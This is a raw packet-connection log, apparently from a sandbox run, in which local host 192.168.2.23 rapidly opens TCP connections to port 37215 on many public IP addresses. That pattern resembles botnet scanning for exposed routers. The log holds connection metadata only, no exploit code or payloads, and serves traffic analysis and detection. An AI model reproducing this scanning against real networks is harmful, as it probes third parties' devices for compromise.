Dec 3, 2024 23:01:52.799501896 CET	37215	43964	197.3.154.235	192.168.2.23
Dec 3, 2024 23:01:52.799508095 CET	60072	37215	192.168.2.23	41.102.141.16
Dec 3, 2024 23:01:52.799506903 CET	59634	37215	192.168.2.23	156.205.236.9
Dec 3, 2024 23:01:52.799510002 CET	37215	43962	41.128.193.69	192.168.2.23
Dec 3, 2024 23:01:52.799514055 CET	40266	37215	192.168.2.23	156.155.195.253
Dec 3, 2024 23:01:52.799518108 CET	41272	37215	192.168.2.23	41.56.205.34
Dec 3, 2024 23:01:52.799520016 CET	37215	46464	41.155.219.178	192.168.2.23
Dec 3, 2024 23:01:52.799525976 CET	38762	37215	192.168.2.23	41.8.68.180
Dec 3, 2024 23:01:52.799530983 CET	48344	37215	192.168.2.23	197.123.157.24
Dec 3, 2024 23:01:52.799535036 CET	39598	37215	192.168.2.23	41.164.73.85
Dec 3, 2024 23:01:52.799547911 CET	40626	37215	192.168.2.23	41.42.112.90
Dec 3, 2024 23:01:52.799554110 CET	43962	37215	192.168.2.23	41.128.193.69
Dec 3, 2024 23:01:52.799570084 CET	51570	37215	192.168.2.23	156.31.133.222
Dec 3, 2024 23:01:52.799591064 CET	49108	37215	192.168.2.23	156.75.54.186
Dec 3, 2024 23:01:52.799611092 CET	37384	37215	192.168.2.23	197.59.205.72
Dec 3, 2024 23:01:52.799629927 CET	59700	37215	192.168.2.23	41.9.223.148
Dec 3, 2024 23:01:52.799652100 CET	43964	37215	192.168.2.23	197.3.154.235
Dec 3, 2024 23:01:52.799668074 CET	46464	37215	192.168.2.23	41.155.219.178
Dec 3, 2024 23:01:52.799880028 CET	37215	48890	197.213.139.45	192.168.2.23
Dec 3, 2024 23:01:52.799890041 CET	37215	55288	197.79.233.80	192.168.2.23
Dec 3, 2024 23:01:52.799901009 CET	37215	41410	156.67.96.70	192.168.2.23
Dec 3, 2024 23:01:52.799907923 CET	37215	48106	197.158.151.68	192.168.2.23
Dec 3, 2024 23:01:52.799917936 CET	37215	49302	197.161.10.65	192.168.2.23
Dec 3, 2024 23:01:52.799926043 CET	37215	53770	197.95.113.211	192.168.2.23
Dec 3, 2024 23:01:52.799937963 CET	55288	37215	192.168.2.23	197.79.233.80
Dec 3, 2024 23:01:52.799937963 CET	48890	37215	192.168.2.23	197.213.139.45
Dec 3, 2024 23:01:52.799943924 CET	37215	35976	197.220.67.112	192.168.2.23
Dec 3, 2024 23:01:52.799947977 CET	48106	37215	192.168.2.23	197.158.151.68
Dec 3, 2024 23:01:52.799953938 CET	37215	52114	41.185.84.32	192.168.2.23
Dec 3, 2024 23:01:52.799957037 CET	41410	37215	192.168.2.23	156.67.96.70
Dec 3, 2024 23:01:52.799958944 CET	37215	54440	197.25.2.28	192.168.2.23
Dec 3, 2024 23:01:52.799961090 CET	49302	37215	192.168.2.23	197.161.10.65
Dec 3, 2024 23:01:52.799962997 CET	37215	52456	197.123.236.32	192.168.2.23
Dec 3, 2024 23:01:52.799966097 CET	53770	37215	192.168.2.23	197.95.113.211
Dec 3, 2024 23:01:52.799981117 CET	37215	57306	156.110.162.239	192.168.2.23
Dec 3, 2024 23:01:52.799985886 CET	37215	34966	41.38.16.103	192.168.2.23
Dec 3, 2024 23:01:52.799990892 CET	37215	38496	41.29.43.123	192.168.2.23
Dec 3, 2024 23:01:52.800012112 CET	35976	37215	192.168.2.23	197.220.67.112
Dec 3, 2024 23:01:52.800024986 CET	37215	50588	156.23.144.81	192.168.2.23
Dec 3, 2024 23:01:52.800031900 CET	54440	37215	192.168.2.23	197.25.2.28
Dec 3, 2024 23:01:52.800033092 CET	52456	37215	192.168.2.23	197.123.236.32
Dec 3, 2024 23:01:52.800033092 CET	52114	37215	192.168.2.23	41.185.84.32
Dec 3, 2024 23:01:52.800035000 CET	57306	37215	192.168.2.23	156.110.162.239
Dec 3, 2024 23:01:52.800035000 CET	38496	37215	192.168.2.23	41.29.43.123
Dec 3, 2024 23:01:52.800035954 CET	37215	49966	156.180.14.86	192.168.2.23
Dec 3, 2024 23:01:52.800059080 CET	34966	37215	192.168.2.23	41.38.16.103
Dec 3, 2024 23:01:52.800061941 CET	37215	35620	156.29.58.55	192.168.2.23
Dec 3, 2024 23:01:52.800077915 CET	37215	43268	156.134.142.216	192.168.2.23
Dec 3, 2024 23:01:52.800087929 CET	37215	45944	41.89.254.96	192.168.2.23
Dec 3, 2024 23:01:52.800092936 CET	50588	37215	192.168.2.23	156.23.144.81
Dec 3, 2024 23:01:52.800093889 CET	49966	37215	192.168.2.23	156.180.14.86
Dec 3, 2024 23:01:52.800115108 CET	35620	37215	192.168.2.23	156.29.58.55
Dec 3, 2024 23:01:52.800137997 CET	43268	37215	192.168.2.23	156.134.142.216
Dec 3, 2024 23:01:52.800151110 CET	45944	37215	192.168.2.23	41.89.254.96
Dec 3, 2024 23:01:52.800193071 CET	37215	45800	156.146.0.173	192.168.2.23
Dec 3, 2024 23:01:52.800203085 CET	37215	43080	41.235.143.156	192.168.2.23
Dec 3, 2024 23:01:52.800210953 CET	37215	45280	156.76.37.56	192.168.2.23
Dec 3, 2024 23:01:52.800251007 CET	45800	37215	192.168.2.23	156.146.0.173
Dec 3, 2024 23:01:52.800256014 CET	43080	37215	192.168.2.23	41.235.143.156
Dec 3, 2024 23:01:52.800256014 CET	45280	37215	192.168.2.23	156.76.37.56
Dec 3, 2024 23:01:52.800276041 CET	37215	60860	197.201.203.200	192.168.2.23
Dec 3, 2024 23:01:52.800318003 CET	60860	37215	192.168.2.23	197.201.203.200
Dec 3, 2024 23:01:52.800395966 CET	46464	37215	192.168.2.23	41.155.219.178
Dec 3, 2024 23:01:52.800398111 CET	37215	42668	41.51.237.63	192.168.2.23
Dec 3, 2024 23:01:52.800409079 CET	37215	37894	197.57.152.227	192.168.2.23
Dec 3, 2024 23:01:52.800416946 CET	37215	44818	197.179.146.198	192.168.2.23
Dec 3, 2024 23:01:52.800436974 CET	37215	47254	41.29.72.16	192.168.2.23
Dec 3, 2024 23:01:52.800436974 CET	46464	37215	192.168.2.23	41.155.219.178
Dec 3, 2024 23:01:52.800446987 CET	37215	42426	156.92.88.230	192.168.2.23
Dec 3, 2024 23:01:52.800456047 CET	37215	34620	197.69.230.169	192.168.2.23
Dec 3, 2024 23:01:52.800460100 CET	37215	38648	197.235.235.154	192.168.2.23
Dec 3, 2024 23:01:52.800467968 CET	37894	37215	192.168.2.23	197.57.152.227
Dec 3, 2024 23:01:52.800467968 CET	42668	37215	192.168.2.23	41.51.237.63
Dec 3, 2024 23:01:52.800470114 CET	44818	37215	192.168.2.23	197.179.146.198
Dec 3, 2024 23:01:52.800487995 CET	47254	37215	192.168.2.23	41.29.72.16
Dec 3, 2024 23:01:52.800503969 CET	42426	37215	192.168.2.23	156.92.88.230
Dec 3, 2024 23:01:52.800507069 CET	38648	37215	192.168.2.23	197.235.235.154
Dec 3, 2024 23:01:52.800507069 CET	34620	37215	192.168.2.23	197.69.230.169
Dec 3, 2024 23:01:52.800581932 CET	46718	37215	192.168.2.23	41.155.219.178
Dec 3, 2024 23:01:52.800611019 CET	48344	37215	192.168.2.23	197.123.157.24
Dec 3, 2024 23:01:52.800621986 CET	48344	37215	192.168.2.23	197.123.157.24
Dec 3, 2024 23:01:52.800667048 CET	48598	37215	192.168.2.23	197.123.157.24
Dec 3, 2024 23:01:52.800676107 CET	59634	37215	192.168.2.23	156.205.236.9
Dec 3, 2024 23:01:52.800685883 CET	59634	37215	192.168.2.23	156.205.236.9
Dec 3, 2024 23:01:52.800724030 CET	59886	37215	192.168.2.23	156.205.236.9
Dec 3, 2024 23:01:52.800761938 CET	49108	37215	192.168.2.23	156.75.54.186
Dec 3, 2024 23:01:52.800829887 CET	49108	37215	192.168.2.23	156.75.54.186
Dec 3, 2024 23:01:52.800847054 CET	49360	37215	192.168.2.23	156.75.54.186
Dec 3, 2024 23:01:52.800875902 CET	51570	37215	192.168.2.23	156.31.133.222
Dec 3, 2024 23:01:52.800889969 CET	51570	37215	192.168.2.23	156.31.133.222
Dec 3, 2024 23:01:52.800939083 CET	51822	37215	192.168.2.23	156.31.133.222
Dec 3, 2024 23:01:52.800983906 CET	40626	37215	192.168.2.23	41.42.112.90
Dec 3, 2024 23:01:52.800983906 CET	40626	37215	192.168.2.23	41.42.112.90
Dec 3, 2024 23:01:52.801017046 CET	40878	37215	192.168.2.23	41.42.112.90
Dec 3, 2024 23:01:52.801039934 CET	43964	37215	192.168.2.23	197.3.154.235
Dec 3, 2024 23:01:52.801048994 CET	43964	37215	192.168.2.23	197.3.154.235
Dec 3, 2024 23:01:52.801079988 CET	44216	37215	192.168.2.23	197.3.154.235
Dec 3, 2024 23:01:52.801121950 CET	58514	37215	192.168.2.23	197.112.141.250
Dec 3, 2024 23:01:52.801148891 CET	58514	37215	192.168.2.23	197.112.141.250
Dec 3, 2024 23:01:52.801186085 CET	58766	37215	192.168.2.23	197.112.141.250
Dec 3, 2024 23:01:52.801218987 CET	40266	37215	192.168.2.23	156.155.195.253
Dec 3, 2024 23:01:52.801230907 CET	40266	37215	192.168.2.23	156.155.195.253
Dec 3, 2024 23:01:52.801261902 CET	40518	37215	192.168.2.23	156.155.195.253
Dec 3, 2024 23:01:52.801292896 CET	39598	37215	192.168.2.23	41.164.73.85
Dec 3, 2024 23:01:52.801318884 CET	39598	37215	192.168.2.23	41.164.73.85
Dec 3, 2024 23:01:52.801357985 CET	39848	37215	192.168.2.23	41.164.73.85
Dec 3, 2024 23:01:52.801379919 CET	41272	37215	192.168.2.23	41.56.205.34
Dec 3, 2024 23:01:52.801392078 CET	41272	37215	192.168.2.23	41.56.205.34
Dec 3, 2024 23:01:52.801434994 CET	41522	37215	192.168.2.23	41.56.205.34
Dec 3, 2024 23:01:52.801467896 CET	45100	37215	192.168.2.23	156.28.189.147
Dec 3, 2024 23:01:52.801481009 CET	45100	37215	192.168.2.23	156.28.189.147
Dec 3, 2024 23:01:52.801511049 CET	45350	37215	192.168.2.23	156.28.189.147
Dec 3, 2024 23:01:52.801542997 CET	40346	37215	192.168.2.23	197.169.178.55
Dec 3, 2024 23:01:52.801554918 CET	40346	37215	192.168.2.23	197.169.178.55
Dec 3, 2024 23:01:52.801585913 CET	40596	37215	192.168.2.23	197.169.178.55
Dec 3, 2024 23:01:52.801608086 CET	60072	37215	192.168.2.23	41.102.141.16
Dec 3, 2024 23:01:52.801619053 CET	60072	37215	192.168.2.23	41.102.141.16
Dec 3, 2024 23:01:52.801647902 CET	60320	37215	192.168.2.23	41.102.141.16
Dec 3, 2024 23:01:52.801670074 CET	52016	37215	192.168.2.23	197.195.206.136
Dec 3, 2024 23:01:52.801680088 CET	52016	37215	192.168.2.23	197.195.206.136
Dec 3, 2024 23:01:52.801722050 CET	52264	37215	192.168.2.23	197.195.206.136
Dec 3, 2024 23:01:52.801758051 CET	38152	37215	192.168.2.23	156.64.119.227
Dec 3, 2024 23:01:52.801781893 CET	38152	37215	192.168.2.23	156.64.119.227
Dec 3, 2024 23:01:52.801821947 CET	38398	37215	192.168.2.23	156.64.119.227
Dec 3, 2024 23:01:52.801840067 CET	37384	37215	192.168.2.23	197.59.205.72
Dec 3, 2024 23:01:52.801851988 CET	37384	37215	192.168.2.23	197.59.205.72
Dec 3, 2024 23:01:52.801881075 CET	37630	37215	192.168.2.23	197.59.205.72
Dec 3, 2024 23:01:52.801917076 CET	53726	37215	192.168.2.23	197.167.188.184
Dec 3, 2024 23:01:52.801929951 CET	53726	37215	192.168.2.23	197.167.188.184
Dec 3, 2024 23:01:52.801984072 CET	53972	37215	192.168.2.23	197.167.188.184
Dec 3, 2024 23:01:52.802009106 CET	47630	37215	192.168.2.23	156.44.235.16
Dec 3, 2024 23:01:52.802021027 CET	47630	37215	192.168.2.23	156.44.235.16
Dec 3, 2024 23:01:52.802052975 CET	47876	37215	192.168.2.23	156.44.235.16
Dec 3, 2024 23:01:52.802079916 CET	46368	37215	192.168.2.23	197.41.187.197
Dec 3, 2024 23:01:52.802093029 CET	46368	37215	192.168.2.23	197.41.187.197
Dec 3, 2024 23:01:52.802129984 CET	46614	37215	192.168.2.23	197.41.187.197
Dec 3, 2024 23:01:52.802203894 CET	56880	37215	192.168.2.23	197.163.246.243
Dec 3, 2024 23:01:52.802229881 CET	56880	37215	192.168.2.23	197.163.246.243
Dec 3, 2024 23:01:52.802270889 CET	57126	37215	192.168.2.23	197.163.246.243
Dec 3, 2024 23:01:52.802306890 CET	42846	37215	192.168.2.23	156.158.172.243
Dec 3, 2024 23:01:52.802318096 CET	42846	37215	192.168.2.23	156.158.172.243
Dec 3, 2024 23:01:52.802345037 CET	43092	37215	192.168.2.23	156.158.172.243
Dec 3, 2024 23:01:52.802365065 CET	48340	37215	192.168.2.23	41.182.228.106
Dec 3, 2024 23:01:52.802375078 CET	48340	37215	192.168.2.23	41.182.228.106
Dec 3, 2024 23:01:52.802406073 CET	48586	37215	192.168.2.23	41.182.228.106
Dec 3, 2024 23:01:52.802443981 CET	35196	37215	192.168.2.23	156.30.14.110
Dec 3, 2024 23:01:52.802468061 CET	35196	37215	192.168.2.23	156.30.14.110
Dec 3, 2024 23:01:52.802506924 CET	35440	37215	192.168.2.23	156.30.14.110
Dec 3, 2024 23:01:52.802527905 CET	43962	37215	192.168.2.23	41.128.193.69
Dec 3, 2024 23:01:52.802541018 CET	43962	37215	192.168.2.23	41.128.193.69
Dec 3, 2024 23:01:52.802575111 CET	44206	37215	192.168.2.23	41.128.193.69
Dec 3, 2024 23:01:52.802596092 CET	50946	37215	192.168.2.23	41.237.37.216
Dec 3, 2024 23:01:52.802623034 CET	50946	37215	192.168.2.23	41.237.37.216
Dec 3, 2024 23:01:52.802659035 CET	51190	37215	192.168.2.23	41.237.37.216
Dec 3, 2024 23:01:52.802690983 CET	49474	37215	192.168.2.23	156.114.247.128
Dec 3, 2024 23:01:52.802702904 CET	49474	37215	192.168.2.23	156.114.247.128
Dec 3, 2024 23:01:52.802731037 CET	49718	37215	192.168.2.23	156.114.247.128
Dec 3, 2024 23:01:52.802762985 CET	59700	37215	192.168.2.23	41.9.223.148
Dec 3, 2024 23:01:52.802772999 CET	59700	37215	192.168.2.23	41.9.223.148
Dec 3, 2024 23:01:52.802802086 CET	59944	37215	192.168.2.23	41.9.223.148
Dec 3, 2024 23:01:52.802834988 CET	39254	37215	192.168.2.23	197.122.183.130
Dec 3, 2024 23:01:52.802864075 CET	39254	37215	192.168.2.23	197.122.183.130
Dec 3, 2024 23:01:52.802901030 CET	39498	37215	192.168.2.23	197.122.183.130
Dec 3, 2024 23:01:52.802937031 CET	38762	37215	192.168.2.23	41.8.68.180
Dec 3, 2024 23:01:52.802948952 CET	38762	37215	192.168.2.23	41.8.68.180
Dec 3, 2024 23:01:52.802969933 CET	39006	37215	192.168.2.23	41.8.68.180
Dec 3, 2024 23:01:52.802994013 CET	57020	37215	192.168.2.23	156.61.209.114
Dec 3, 2024 23:01:52.803020000 CET	57020	37215	192.168.2.23	156.61.209.114
Dec 3, 2024 23:01:52.803057909 CET	57264	37215	192.168.2.23	156.61.209.114
Dec 3, 2024 23:01:52.803092957 CET	41374	37215	192.168.2.23	41.186.242.231
Dec 3, 2024 23:01:52.803118944 CET	41374	37215	192.168.2.23	41.186.242.231
Dec 3, 2024 23:01:52.803153992 CET	41618	37215	192.168.2.23	41.186.242.231
Dec 3, 2024 23:01:52.803184986 CET	39612	37215	192.168.2.23	197.17.133.49
Dec 3, 2024 23:01:52.803195953 CET	39612	37215	192.168.2.23	197.17.133.49
Dec 3, 2024 23:01:52.803242922 CET	39856	37215	192.168.2.23	197.17.133.49
Dec 3, 2024 23:01:52.803258896 CET	54428	37215	192.168.2.23	41.153.210.0
Dec 3, 2024 23:01:52.803273916 CET	54428	37215	192.168.2.23	41.153.210.0
Dec 3, 2024 23:01:52.803308010 CET	54672	37215	192.168.2.23	41.153.210.0
Dec 3, 2024 23:01:52.803396940 CET	45280	37215	192.168.2.23	156.76.37.56
Dec 3, 2024 23:01:52.803409100 CET	45280	37215	192.168.2.23	156.76.37.56
Dec 3, 2024 23:01:52.803436995 CET	45634	37215	192.168.2.23	156.76.37.56
Dec 3, 2024 23:01:52.803456068 CET	43080	37215	192.168.2.23	41.235.143.156
Dec 3, 2024 23:01:52.803466082 CET	43080	37215	192.168.2.23	41.235.143.156
Dec 3, 2024 23:01:52.803498983 CET	43434	37215	192.168.2.23	41.235.143.156
Dec 3, 2024 23:01:52.803523064 CET	45800	37215	192.168.2.23	156.146.0.173
Dec 3, 2024 23:01:52.803539991 CET	45800	37215	192.168.2.23	156.146.0.173
Dec 3, 2024 23:01:52.803589106 CET	46154	37215	192.168.2.23	156.146.0.173
Dec 3, 2024 23:01:52.803622007 CET	45944	37215	192.168.2.23	41.89.254.96
Dec 3, 2024 23:01:52.803633928 CET	45944	37215	192.168.2.23	41.89.254.96
Dec 3, 2024 23:01:52.803662062 CET	46298	37215	192.168.2.23	41.89.254.96
Dec 3, 2024 23:01:52.803708076 CET	43268	37215	192.168.2.23	156.134.142.216
Dec 3, 2024 23:01:52.803719997 CET	43268	37215	192.168.2.23	156.134.142.216
Dec 3, 2024 23:01:52.803754091 CET	43622	37215	192.168.2.23	156.134.142.216
Dec 3, 2024 23:01:52.803781033 CET	35620	37215	192.168.2.23	156.29.58.55
Dec 3, 2024 23:01:52.803792953 CET	35620	37215	192.168.2.23	156.29.58.55
Dec 3, 2024 23:01:52.803816080 CET	35974	37215	192.168.2.23	156.29.58.55
Dec 3, 2024 23:01:52.803847075 CET	49966	37215	192.168.2.23	156.180.14.86
Dec 3, 2024 23:01:52.803859949 CET	49966	37215	192.168.2.23	156.180.14.86
Dec 3, 2024 23:01:52.803889036 CET	50320	37215	192.168.2.23	156.180.14.86
Dec 3, 2024 23:01:52.803921938 CET	50588	37215	192.168.2.23	156.23.144.81
Dec 3, 2024 23:01:52.803941011 CET	50588	37215	192.168.2.23	156.23.144.81
Dec 3, 2024 23:01:52.803982019 CET	50942	37215	192.168.2.23	156.23.144.81
Dec 3, 2024 23:01:52.804013968 CET	38496	37215	192.168.2.23	41.29.43.123
Dec 3, 2024 23:01:52.804013968 CET	38496	37215	192.168.2.23	41.29.43.123
Dec 3, 2024 23:01:52.804054976 CET	38850	37215	192.168.2.23	41.29.43.123
Dec 3, 2024 23:01:52.804085970 CET	34966	37215	192.168.2.23	41.38.16.103
Dec 3, 2024 23:01:52.804095984 CET	34966	37215	192.168.2.23	41.38.16.103
Dec 3, 2024 23:01:52.804126024 CET	35320	37215	192.168.2.23	41.38.16.103
Dec 3, 2024 23:01:52.804148912 CET	57306	37215	192.168.2.23	156.110.162.239
Dec 3, 2024 23:01:52.804181099 CET	57306	37215	192.168.2.23	156.110.162.239
Dec 3, 2024 23:01:52.804218054 CET	57660	37215	192.168.2.23	156.110.162.239
Dec 3, 2024 23:01:52.804248095 CET	52456	37215	192.168.2.23	197.123.236.32
Dec 3, 2024 23:01:52.804261923 CET	52456	37215	192.168.2.23	197.123.236.32
Dec 3, 2024 23:01:52.804311991 CET	52810	37215	192.168.2.23	197.123.236.32
Dec 3, 2024 23:01:52.804332018 CET	54440	37215	192.168.2.23	197.25.2.28
Dec 3, 2024 23:01:52.804349899 CET	54440	37215	192.168.2.23	197.25.2.28
Dec 3, 2024 23:01:52.804372072 CET	54794	37215	192.168.2.23	197.25.2.28
Dec 3, 2024 23:01:52.804393053 CET	52114	37215	192.168.2.23	41.185.84.32
Dec 3, 2024 23:01:52.804403067 CET	52114	37215	192.168.2.23	41.185.84.32
Dec 3, 2024 23:01:52.804431915 CET	52468	37215	192.168.2.23	41.185.84.32
Dec 3, 2024 23:01:52.804452896 CET	35976	37215	192.168.2.23	197.220.67.112
Dec 3, 2024 23:01:52.804462910 CET	35976	37215	192.168.2.23	197.220.67.112
Dec 3, 2024 23:01:52.804491043 CET	36330	37215	192.168.2.23	197.220.67.112
Dec 3, 2024 23:01:52.804522038 CET	49302	37215	192.168.2.23	197.161.10.65
Dec 3, 2024 23:01:52.804533005 CET	49302	37215	192.168.2.23	197.161.10.65
Dec 3, 2024 23:01:52.804567099 CET	49656	37215	192.168.2.23	197.161.10.65
Dec 3, 2024 23:01:52.804600954 CET	53770	37215	192.168.2.23	197.95.113.211
Dec 3, 2024 23:01:52.804610968 CET	53770	37215	192.168.2.23	197.95.113.211
Dec 3, 2024 23:01:52.804640055 CET	54120	37215	192.168.2.23	197.95.113.211
Dec 3, 2024 23:01:52.804658890 CET	41410	37215	192.168.2.23	156.67.96.70
Dec 3, 2024 23:01:52.804685116 CET	41410	37215	192.168.2.23	156.67.96.70
Dec 3, 2024 23:01:52.804723978 CET	41746	37215	192.168.2.23	156.67.96.70
Dec 3, 2024 23:01:52.804743052 CET	48106	37215	192.168.2.23	197.158.151.68
Dec 3, 2024 23:01:52.804753065 CET	48106	37215	192.168.2.23	197.158.151.68
Dec 3, 2024 23:01:52.804795027 CET	48434	37215	192.168.2.23	197.158.151.68
Dec 3, 2024 23:01:52.804816008 CET	55288	37215	192.168.2.23	197.79.233.80
Dec 3, 2024 23:01:52.804826021 CET	55288	37215	192.168.2.23	197.79.233.80
Dec 3, 2024 23:01:52.804855108 CET	55612	37215	192.168.2.23	197.79.233.80
Dec 3, 2024 23:01:52.804877996 CET	48890	37215	192.168.2.23	197.213.139.45
Dec 3, 2024 23:01:52.804877996 CET	48890	37215	192.168.2.23	197.213.139.45
Dec 3, 2024 23:01:52.804914951 CET	49198	37215	192.168.2.23	197.213.139.45
Dec 3, 2024 23:01:52.804970026 CET	38648	37215	192.168.2.23	197.235.235.154
Dec 3, 2024 23:01:52.804980040 CET	38648	37215	192.168.2.23	197.235.235.154
Dec 3, 2024 23:01:52.805018902 CET	39060	37215	192.168.2.23	197.235.235.154
Dec 3, 2024 23:01:52.805037022 CET	34620	37215	192.168.2.23	197.69.230.169
Dec 3, 2024 23:01:52.805056095 CET	34620	37215	192.168.2.23	197.69.230.169
Dec 3, 2024 23:01:52.805078983 CET	35032	37215	192.168.2.23	197.69.230.169
Dec 3, 2024 23:01:52.805114985 CET	42426	37215	192.168.2.23	156.92.88.230
Dec 3, 2024 23:01:52.805126905 CET	42426	37215	192.168.2.23	156.92.88.230
Dec 3, 2024 23:01:52.805157900 CET	42838	37215	192.168.2.23	156.92.88.230
Dec 3, 2024 23:01:52.805186987 CET	47254	37215	192.168.2.23	41.29.72.16
Dec 3, 2024 23:01:52.805198908 CET	47254	37215	192.168.2.23	41.29.72.16
Dec 3, 2024 23:01:52.805228949 CET	47666	37215	192.168.2.23	41.29.72.16
Dec 3, 2024 23:01:52.805250883 CET	44818	37215	192.168.2.23	197.179.146.198
Dec 3, 2024 23:01:52.805263042 CET	44818	37215	192.168.2.23	197.179.146.198
Dec 3, 2024 23:01:52.805309057 CET	45230	37215	192.168.2.23	197.179.146.198
Dec 3, 2024 23:01:52.805340052 CET	37894	37215	192.168.2.23	197.57.152.227
Dec 3, 2024 23:01:52.805367947 CET	37894	37215	192.168.2.23	197.57.152.227
Dec 3, 2024 23:01:52.805406094 CET	38306	37215	192.168.2.23	197.57.152.227
Dec 3, 2024 23:01:52.805433035 CET	42668	37215	192.168.2.23	41.51.237.63
Dec 3, 2024 23:01:52.805444002 CET	42668	37215	192.168.2.23	41.51.237.63
Dec 3, 2024 23:01:52.805486917 CET	43080	37215	192.168.2.23	41.51.237.63
Dec 3, 2024 23:01:52.805517912 CET	60860	37215	192.168.2.23	197.201.203.200
Dec 3, 2024 23:01:52.805530071 CET	60860	37215	192.168.2.23	197.201.203.200
Dec 3, 2024 23:01:52.805560112 CET	33040	37215	192.168.2.23	197.201.203.200
Dec 3, 2024 23:01:52.924103975 CET	37215	46464	41.155.219.178	192.168.2.23
Dec 3, 2024 23:01:52.924510002 CET	37215	46718	41.155.219.178	192.168.2.23
Dec 3, 2024 23:01:52.924519062 CET	37215	48344	197.123.157.24	192.168.2.23
Dec 3, 2024 23:01:52.924529076 CET	37215	48598	197.123.157.24	192.168.2.23
Dec 3, 2024 23:01:52.924540997 CET	37215	59634	156.205.236.9	192.168.2.23
Dec 3, 2024 23:01:52.924550056 CET	37215	59886	156.205.236.9	192.168.2.23
Dec 3, 2024 23:01:52.924664974 CET	37215	49108	156.75.54.186	192.168.2.23
Dec 3, 2024 23:01:52.924674034 CET	37215	49360	156.75.54.186	192.168.2.23
Dec 3, 2024 23:01:52.924695015 CET	59886	37215	192.168.2.23	156.205.236.9
Dec 3, 2024 23:01:52.924710989 CET	46718	37215	192.168.2.23	41.155.219.178
Dec 3, 2024 23:01:52.924710989 CET	48598	37215	192.168.2.23	197.123.157.24
Dec 3, 2024 23:01:52.924729109 CET	49360	37215	192.168.2.23	156.75.54.186
Dec 3, 2024 23:01:52.924782991 CET	37215	51570	156.31.133.222	192.168.2.23
Dec 3, 2024 23:01:52.924845934 CET	37215	51822	156.31.133.222	192.168.2.23
Dec 3, 2024 23:01:52.924854040 CET	37215	40626	41.42.112.90	192.168.2.23
Dec 3, 2024 23:01:52.924864054 CET	37215	40878	41.42.112.90	192.168.2.23
Dec 3, 2024 23:01:52.924875021 CET	37215	43964	197.3.154.235	192.168.2.23
Dec 3, 2024 23:01:52.924875975 CET	46718	37215	192.168.2.23	41.155.219.178
Dec 3, 2024 23:01:52.924910069 CET	40878	37215	192.168.2.23	41.42.112.90
Dec 3, 2024 23:01:52.924917936 CET	51822	37215	192.168.2.23	156.31.133.222
Dec 3, 2024 23:01:52.924987078 CET	48598	37215	192.168.2.23	197.123.157.24
Dec 3, 2024 23:01:52.924998045 CET	59886	37215	192.168.2.23	156.205.236.9
Dec 3, 2024 23:01:52.925024033 CET	37215	44216	197.3.154.235	192.168.2.23
Dec 3, 2024 23:01:52.925035000 CET	49360	37215	192.168.2.23	156.75.54.186
Dec 3, 2024 23:01:52.925086975 CET	44216	37215	192.168.2.23	197.3.154.235
Dec 3, 2024 23:01:52.925093889 CET	37215	58514	197.112.141.250	192.168.2.23
Dec 3, 2024 23:01:52.925103903 CET	37215	58766	197.112.141.250	192.168.2.23
Dec 3, 2024 23:01:52.925107956 CET	37215	40266	156.155.195.253	192.168.2.23
Dec 3, 2024 23:01:52.925144911 CET	37215	40518	156.155.195.253	192.168.2.23
Dec 3, 2024 23:01:52.925192118 CET	51822	37215	192.168.2.23	156.31.133.222
Dec 3, 2024 23:01:52.925192118 CET	58766	37215	192.168.2.23	197.112.141.250
Dec 3, 2024 23:01:52.925192118 CET	40878	37215	192.168.2.23	41.42.112.90
Dec 3, 2024 23:01:52.925205946 CET	40518	37215	192.168.2.23	156.155.195.253
Dec 3, 2024 23:01:52.925214052 CET	37215	39598	41.164.73.85	192.168.2.23
Dec 3, 2024 23:01:52.925236940 CET	44216	37215	192.168.2.23	197.3.154.235
Dec 3, 2024 23:01:52.925270081 CET	58766	37215	192.168.2.23	197.112.141.250
Dec 3, 2024 23:01:52.925287008 CET	40518	37215	192.168.2.23	156.155.195.253
Dec 3, 2024 23:01:52.965881109 CET	37215	40266	156.155.195.253	192.168.2.23
Dec 3, 2024 23:01:52.966202021 CET	37215	58514	197.112.141.250	192.168.2.23
Dec 3, 2024 23:01:52.966209888 CET	37215	43964	197.3.154.235	192.168.2.23
Dec 3, 2024 23:01:52.966217995 CET	37215	40626	41.42.112.90	192.168.2.23
Dec 3, 2024 23:01:52.966226101 CET	37215	51570	156.31.133.222	192.168.2.23
Dec 3, 2024 23:01:52.966233969 CET	37215	49108	156.75.54.186	192.168.2.23
Dec 3, 2024 23:01:52.966240883 CET	37215	59634	156.205.236.9	192.168.2.23
Dec 3, 2024 23:01:52.966248035 CET	37215	48344	197.123.157.24	192.168.2.23
Dec 3, 2024 23:01:52.966255903 CET	37215	46464	41.155.219.178	192.168.2.23
Dec 3, 2024 23:01:53.047141075 CET	37215	39848	41.164.73.85	192.168.2.23
Dec 3, 2024 23:01:53.047169924 CET	37215	41272	41.56.205.34	192.168.2.23
Dec 3, 2024 23:01:53.047178984 CET	37215	41522	41.56.205.34	192.168.2.23
Dec 3, 2024 23:01:53.047214031 CET	37215	45100	156.28.189.147	192.168.2.23
Dec 3, 2024 23:01:53.047317982 CET	37215	45350	156.28.189.147	192.168.2.23
Dec 3, 2024 23:01:53.047358990 CET	37215	40346	197.169.178.55	192.168.2.23
Dec 3, 2024 23:01:53.047415972 CET	41522	37215	192.168.2.23	41.56.205.34
Dec 3, 2024 23:01:53.047427893 CET	39848	37215	192.168.2.23	41.164.73.85
Dec 3, 2024 23:01:53.047437906 CET	45350	37215	192.168.2.23	156.28.189.147
Dec 3, 2024 23:01:53.047460079 CET	37215	60072	41.102.141.16	192.168.2.23
Dec 3, 2024 23:01:53.047468901 CET	37215	52016	197.195.206.136	192.168.2.23
Dec 3, 2024 23:01:53.047518015 CET	37215	38152	156.64.119.227	192.168.2.23
Dec 3, 2024 23:01:53.047527075 CET	37215	37384	197.59.205.72	192.168.2.23
Dec 3, 2024 23:01:53.047596931 CET	39848	37215	192.168.2.23	41.164.73.85
Dec 3, 2024 23:01:53.047629118 CET	41522	37215	192.168.2.23	41.56.205.34
Dec 3, 2024 23:01:53.047650099 CET	37215	53726	197.167.188.184	192.168.2.23
Dec 3, 2024 23:01:53.047658920 CET	45350	37215	192.168.2.23	156.28.189.147
Dec 3, 2024 23:01:53.047677994 CET	37215	47630	156.44.235.16	192.168.2.23
Dec 3, 2024 23:01:53.047736883 CET	59534	37215	192.168.2.23	197.174.22.109
Dec 3, 2024 23:01:53.047739983 CET	59534	37215	192.168.2.23	156.191.133.121
Dec 3, 2024 23:01:53.047771931 CET	59534	37215	192.168.2.23	156.208.58.152
Dec 3, 2024 23:01:53.047794104 CET	59534	37215	192.168.2.23	156.85.239.222
